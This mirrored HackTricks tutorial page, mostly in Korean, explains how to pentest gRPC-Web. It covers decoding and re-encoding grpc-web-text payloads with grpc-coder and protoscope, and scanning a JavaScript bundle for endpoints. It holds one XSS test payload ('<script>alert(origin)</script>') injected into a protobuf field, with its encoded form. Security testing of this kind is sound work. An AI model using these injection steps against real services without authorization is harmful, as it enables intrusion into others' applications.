mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
161 lines
8.2 KiB
Markdown
161 lines
8.2 KiB
Markdown
# Pentesting gRPC-Web
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **Manipulating gRPC-Web Payloads**
|
|
gRPC-Web는 요청에서 Content-Type: `application/grpc-web-text`를 사용하며, 이는 base64로 인코딩된 protobuf의 일종입니다. [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용할 수 있으며, [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite)도 설치할 수 있습니다.
|
|
|
|
### **Manual with gGRPC Coder Tool**
|
|
1. 먼저 페이로드를 디코드합니다:
|
|
```bash
|
|
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
|
|
```
|
|
2. 디코딩된 페이로드의 내용 수정
|
|
```
|
|
nano out.txt
|
|
2: {"Amin Nasiri Xenon GRPC"}
|
|
3: 54
|
|
7: {"<script>alert(origin)</script>"}
|
|
```
|
|
3. 새로운 페이로드 인코딩
|
|
```bash
|
|
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
|
|
```
|
|
4. Burp 인터셉터에서 출력 사용:
|
|
```
|
|
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
|
|
```
|
|
### **Manual with gRPC-Web Coder Burp Suite Extension**
|
|
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)에서 gRPC-Web Coder Burp Suite Extension을 사용할 수 있으며, 이는 더 쉽습니다. 설치 및 사용 지침은 해당 리포지토리에서 확인할 수 있습니다.
|
|
|
|
## **gRPC-Web 자바스크립트 파일 분석**
|
|
모든 gRPC-Web 애플리케이션에는 최소한 하나의 자바스크립트 파일이 있습니다. 파일을 분석하여 새로운 메시지, 엔드포인트 및 서비스를 찾을 수 있습니다. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 도구를 사용해 보세요.
|
|
1. 자바스크립트 gRPC-Web 파일 다운로드
|
|
2. grpc-scan.py로 스캔하기:
|
|
```bash
|
|
python3 grpc-scan.py --file main.js
|
|
```
|
|
3. 출력 분석 및 새로운 엔드포인트와 새로운 서비스 테스트:
|
|
```
|
|
Output:
|
|
Found Endpoints:
|
|
/grpc.gateway.testing.EchoService/Echo
|
|
/grpc.gateway.testing.EchoService/EchoAbort
|
|
/grpc.gateway.testing.EchoService/NoOp
|
|
/grpc.gateway.testing.EchoService/ServerStreamingEcho
|
|
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
|
|
|
|
Found Messages:
|
|
|
|
grpc.gateway.testing.EchoRequest:
|
|
+------------+--------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+============+====================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+------------+--------------------+--------------+
|
|
| Name | Proto3StringField | 2 |
|
|
+------------+--------------------+--------------+
|
|
| Age | Proto3IntField | 3 |
|
|
+------------+--------------------+--------------+
|
|
| IsAdmin | Proto3BooleanField | 4 |
|
|
+------------+--------------------+--------------+
|
|
| Weight | Proto3FloatField | 5 |
|
|
+------------+--------------------+--------------+
|
|
| Test | Proto3StringField | 6 |
|
|
+------------+--------------------+--------------+
|
|
| Test2 | Proto3StringField | 7 |
|
|
+------------+--------------------+--------------+
|
|
| Test3 | Proto3StringField | 16 |
|
|
+------------+--------------------+--------------+
|
|
| Test4 | Proto3StringField | 20 |
|
|
+------------+--------------------+--------------+
|
|
|
|
grpc.gateway.testing.EchoResponse:
|
|
+--------------+--------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+==============+====================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+--------------+--------------------+--------------+
|
|
| Name | Proto3StringField | 2 |
|
|
+--------------+--------------------+--------------+
|
|
| Age | Proto3IntField | 3 |
|
|
+--------------+--------------------+--------------+
|
|
| IsAdmin | Proto3BooleanField | 4 |
|
|
+--------------+--------------------+--------------+
|
|
| Weight | Proto3FloatField | 5 |
|
|
+--------------+--------------------+--------------+
|
|
| Test | Proto3StringField | 6 |
|
|
+--------------+--------------------+--------------+
|
|
| Test2 | Proto3StringField | 7 |
|
|
+--------------+--------------------+--------------+
|
|
| Test3 | Proto3StringField | 16 |
|
|
+--------------+--------------------+--------------+
|
|
| Test4 | Proto3StringField | 20 |
|
|
+--------------+--------------------+--------------+
|
|
| MessageCount | Proto3IntField | 8 |
|
|
+--------------+--------------------+--------------+
|
|
|
|
grpc.gateway.testing.ServerStreamingEchoRequest:
|
|
+-----------------+-------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+=================+===================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+-----------------+-------------------+--------------+
|
|
| MessageCount | Proto3IntField | 2 |
|
|
+-----------------+-------------------+--------------+
|
|
| MessageInterval | Proto3IntField | 3 |
|
|
+-----------------+-------------------+--------------+
|
|
|
|
grpc.gateway.testing.ServerStreamingEchoResponse:
|
|
+------------+-------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+============+===================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+------------+-------------------+--------------+
|
|
|
|
grpc.gateway.testing.ClientStreamingEchoRequest:
|
|
+------------+-------------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+============+===================+==============+
|
|
| Message | Proto3StringField | 1 |
|
|
+------------+-------------------+--------------+
|
|
|
|
grpc.gateway.testing.ClientStreamingEchoResponse:
|
|
+--------------+----------------+--------------+
|
|
| Field Name | Field Type | Field Number |
|
|
+==============+================+==============+
|
|
| MessageCount | Proto3IntField | 1 |
|
|
+--------------+----------------+--------------+
|
|
```
|
|
## References
|
|
|
|
* [Hacking into gRPC-Web Article by Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
|
|
* [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)
|
|
|
|
{% hint style="success" %}
|
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>HackTricks 지원하기</summary>
|
|
|
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
|
|
|
</details>
|
|
{% endhint %}
|